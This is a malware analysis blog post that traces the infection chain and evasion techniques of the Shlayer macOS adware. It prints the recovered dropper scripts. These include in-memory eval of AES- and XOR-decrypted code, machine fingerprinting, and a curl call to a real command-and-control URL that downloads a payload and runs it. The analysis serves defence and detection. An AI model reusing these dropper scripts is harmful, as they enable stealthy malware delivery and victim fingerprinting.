The Malware Shlayer

Author

Uriel Kosayev
Cybersecurity researcher and red teamer who lives both on the offensive and defensive fronts. The author of the “Antivirus Bypass Techniques” book, expert in malware research, reverse engineering, penetration testing, digital forensics, and incident response

As Mac malware becomes more widespread, and as detection mechanisms get more sophisticated, malware actors need to adapt. If not long ago almost any variant could easily run on any machine without any scrutiny, today it needs to hop over many obstacles. From Google’s safe browsing, through Apple’s Xprotect and Gatekeeper down to 3rd party AV solutions and network appliances. We investigate these techniques to better develop mechanisms for better detection and removal of these threats. 

In this analysis of the Shlayer Adware. We review its infection flow with special attention to its evasion techniques. In our next report, we’ll investigate Shlayer’s extension deployment, and its mouse and search hijacking mechanisms,

We’ll provide a review of how Shlayer uses:

  • Bash scripts to evade static detection mechanisms
  • Dynamic content loading to evade Code-Signing and Safe-Browsing
  • Encryption to evade network security solutions

We also present the pre-encrypted data that Shlayer harvested from our lab’s victim machine. With this data, Shlayer’s C&C determines whether, and how to further attack the machine, e.g.: which ‘offers’ to advertise; which apps and extensions to install, etc.

Gain Insider Knowledge

Subscribe to updates from the TrainSec trainers

Stage 1: Infection, Decryption and Unpacking

As with most cases, the malware spreads via free movies, free game sites, etc. The malicious file comes as a mountable DMG that includes a proper code-signed App-Bundle:

Shlayer Adware Analysis 1

The App Bundle includes 3 important files:

  • File 1 – The main binary executable: This is a clear-text bash script, which is located under the MacOS folder. In this example, the filename is 9Vb2HR0. With other samples we checked, the filename was different.
  • Files 2 & 3 – encrypted files: The files enc and enc2 are encrypted, and located under the Resources folder.
Shlayer Adware Analysis 3

Below is the code of the main bash executable:

#!/bin/bash
cd “$(dirname “$BASH_SOURCE”)”
fileDir=”$(dirname “$(pwd -P)”)”
eval “$(openssl enc -base64 -d -aes-256-cbc -nosalt -pass pass:6570001937)” <”$fileDir”/Resources/enc)”

As we can see, the bash script decrypts and executes the file enc.

Below is the decrypted content of enc, which runs in the memory:

#!/bin/bash
tmp_path="$(mktemp -d /tmp/XXXXXXXXX)"
pass="6570001937"
tmp_app="$tmp_path/Player_${pass: -3}.app"
openssl enc -base64 -d -aes-256-cbc -nosalt -out "$tmp_path/installer.zip" -pass "pass:$pass" <enc2 unzip "$tmp_path/installer.zip" -d "$tmp_path" > /dev/null 2>&1
chmod 777 "$tmp_app/Contents/MacOS/*"
open -a "$tmp_app""

This code again decrypts the file enc2 (which is a compressed file), and then unzips it to the path: /tmp/<random_name>/Player_<variant_id>.app

The decryption mechanism is pretty simple: base64 and AES with a password. In this scenario, the password is 6570001937.

While the encryption mechanism is somewhat simple, it is yet effective as Shlayer successfully utilizes it to evade static analysis and static-based Antiviruses: The malicious code that executes by the eval command runs at the memory level. Consequently, no decrypted files which contain the maliciously executed code are stored in the file system. 

Stage 2: Decryption, Download and Execution

The main App-Bundle of the second stage (previously decrypted enc2 file) is very similar to the App-Bundle and main bash executable of the first stage: it uses the same password used in stage1, to decrypt the additional enc file. 

Below is a dump of the code of the 2nd stage enc from runtime memory. To simplify  readability, we manually reconstructed the code:

#!/bin/bash

decode_decrypt_iteration()
{
   i=0;x=0;
   for ((i=0; i<${#1}; i+=2))
   do __return_var="$__return_var
   $(printf "%02x" $(( ((0x${1:$i:2})) ^ ((0x${2:$x:2})) )) )"
   if (( (x+=2)>=${#2} ));
   then ((x=0));
   fi done #check this

   if [[ "$3" ]];
   then eval "$3='$__return_var'";
   else echo -n "$__return_var";
   fi
}
decode_decrypt()
{
   b64_decode=$(base64 --decode <(printf "$1"));
   xxd=$(xxd -pu <(printf "$2"));
   __return_var="$(xxd -r -p <(decode_decrypt_iteration "$b64_decode" "$xxd"))"
   if [[ "$3" ]];
   then eval "$3='$__return_var'";
   else echo -n "$__return_var";
   fi
}
decryption_key="6570001937"
encoded_string="MTUxMj… (long base64 string)"
eval "$(decode_decrypt "$encoded_string" "$decryption_key")"

The code from the eval command above gives us the last bash code that runs also in the memory level, as shown below:

#!/bin/bash
function getVolumeName() {
   excludedDirs=('/Volumes/Preboot/' '/Volumes/Macintosh HD/' '/Volumes/Recovery/')

   for volumeDir in /Volumes/*/
   do
       skip=0
       for excludedDir in "${excludedDirs[@]}"
       do
           if [[ "$excludedDir" == "$volumeDir" ]]; then
               skip=1
               break;
           fi
       done
       if [ $skip == 1 ]; then
           continue;
       fi
      
       if [ -d "$volumeDir/$1" ]; then
           echo "$volumeDir";
           return;
       fi
   done
}
currentDir="$PWD"
appDir="$(dirname $(dirname "$currentDir"))"
appName="$(basename "$appDir")"
volume_name="$(getVolumeName "$appName")"
os_version="$(sw_vers -productVersion)"
session_guid="$(uuidgen)"
machine_id="$(echo -n "$(ioreg -rd1 -c IOPlatformExpertDevice | grep -o '"IOPlatformUUID" = "\(.*\)"' | sed -E -n 's@.*"([^"]+)"@\1@p')" | tr -dc '[[:print:]]')"
url="https://api.formatlog.com/sd/?c=9WRybQ==&u=$machine_id&s=$session_guid&o=$os_version&b=6570001937"
unzip_password="739100075614416570001937"
tmp_path="$(mktemp /tmp/XXXXXXXXX)"
curl -f0L "$url" >/dev/null 2>&1 >>$tmp_path
app_dir="$(mktemp -d /tmp/XXXXXXXX)/"
unzip -P "$unzip_password" "$tmp_path" -d "$app_dir" > /dev/null 2>&1
rm -f $tmp_path
file_name="$(grep -m1 -v "*.app" <(ls -1 "$app_dir"))"
volume_name="${volume_name// /%20}"
chmod +x "$app_dir$file_name/Contents/MacOS"/*
open -a "$app_dir$file_name" --args "s" "$session_guid" "$volume_name"

The above code collects basic information from the victim’s machine, including Hardware-UUID, session_guid, OS_version, and volume_name. Then the collected data is sent to a Shlayer’s C&C IP address, using an HTTP-GET request with cURL:

Shlayer Adware Analysis 2

The HTTP-GET request parameters are explained: 

Below is a list of the HTTP-GET parameters, and the data sent with each parameter.

  • c = probably a Campaign ID
  • u = Hardware UUID
  • s = Session GUID
  • o = OS version
  • b = The password which was used in previous bash stages

If the server is satisfied with the received information, it responds with a download redirection (which is further described in the 3rd stage below).

Shlayer Adware Analysis 5

As we can understand from the previous bash script:

  • The “3rd stage” ZIP file is downloaded to: /tmp/<random_folder_name> 
  • It is then unzipped with a password
  • The files under Contents/MacOS get execution permission
  • The app is executed with arguments “s“, “session_guid” and “volume_name“. This checks if the DMG that contains the first stage App-Bundle is currently mounted to the system. If so, the app loads the installer. Otherwise, the app exits and terminates the process.
  • The full path of the main Mach-O installer (discussed in Stage 3 below) is:

/tmp/<random_folder_name>/Player.app/Contents/Resources/Player.app/Contents/MacOS/<name of the Mach-O installer> (in this case: 18EA04C0917E)

Stage 3: Fingerprinting, Traffic Encryption and Offers

This is what the 3rd stage Mach-O installer (18EA04C0917E) looks like:

Shlayer Adware Analysis 4

Before the installation GUI is presented to the victim, we noticed network traffic with an encrypted payload that was transmitted to and, and to-and-from several remote servers. 

The transmitted data is used to determine the victim’s relevant offers, as discussed in more detail below, in Fingerprinting – The Harvested Data.

Here is an overview of the HTTP request packets:

Shlayer Adware Analysis 7

We can notice that all servers are hosted in the same network (82.102.180.0/24 CIDR).

To reveal where the threat actor’s servers reside (C&C), we used a Whois query. As shown below, the result indicates that the IPs come from an Israeli based ISP:

Shlayer Adware Analysis 6

Below is an example of one of the encrypted payloads, sent from our Victim machine to the C&C:

Shlayer Adware Analysis 9

Fingerprinting – The Harvested Data

Before the encryption occurs, Shlayer’s “3rd stage” Mach-O installer harvests information such as browser versions, Hardware-UID, Serial Number, MAC address, and more, to fingerprint the victim’s machine. With this information, Shlayer determines which applications and extensions to provide the victim with.

Below we can see part of the data sent, before the encryption takes place:

Shlayer Adware Analysis 8

Furthermore, the image below shows part of the symbol table of the 18EA04C0917E Mach-O binary (using the nm -m command), which displays few encrypt/decrypt functions. This gives us a stronger indication of the encryption mechanism which is implemented in this stage. 

Shlayer Adware Analysis 10

Based on the information presented above, we can conclude that Shlayer uses OS built-in encryption mechanisms, rather than its own. 

Evasion Techniques – Summary

Here is a summary of the evasion techniques implemented by Shlayer:

  1. Static Detection: In each one of the stages described above, Shlayer decrypts files and executes their code in runtime memory. This technique allows Shlayer to evade static detection mechanisms, such as old-school static anti-virus solutions.
  2. Code-Signing & Safe-Browsing: Shalyer evades Apple’s Code-Signing and Safe-Browsing security mechanisms (such as by Chrome and Safari), by utilizing dynamic content download (as further described in stage 2 above). 
  3. Network Security: The Shlayer transmits encrypted payloads over the network, thus it evades network security solutions.

In Conclusion

The Shlayer Adware disguises itself as a legitimate Flash-Player installer. It uses a few simple and evasive Bash scripts, which act as droppers. After two stages where Bash scripts are executed, the Mach-O binary installer is executed. 

Then victims are fingerprinted as their system information such as MAC address and Hardware UUID is harvested. Finally, Shlayer encrypts the data and sends it to a remote C&C to determine the specific applications and extensions to provide the victim. 

The approach of either dropping stages, mixed with the 3rd Mach-O installer, is interesting as it manages to successfully evade all of the following security measures:

  • Apple’s built-in security mechanisms
  • Antiviruses, either static or dynamic in some cases.
  • Network security solutions
blue depth

About the author

Uriel Kosayev
Cybersecurity researcher and red teamer who lives both on the offensive and defensive fronts. The author of the “Antivirus Bypass Techniques” book, expert in malware research, reverse engineering, penetration testing, digital forensics, and incident response

Black Friday & Cyber Monday Sale Started!

For a limited time, enjoy 25% off ALL available courses for the next month. Whether you’re looking to sharpen your skills or explore new areas of cybersecurity, now’s the perfect time to invest in your growth.

Use code BFRIDAY24 at checkout to claim your discount.

*Excluding bundles and monthly plans.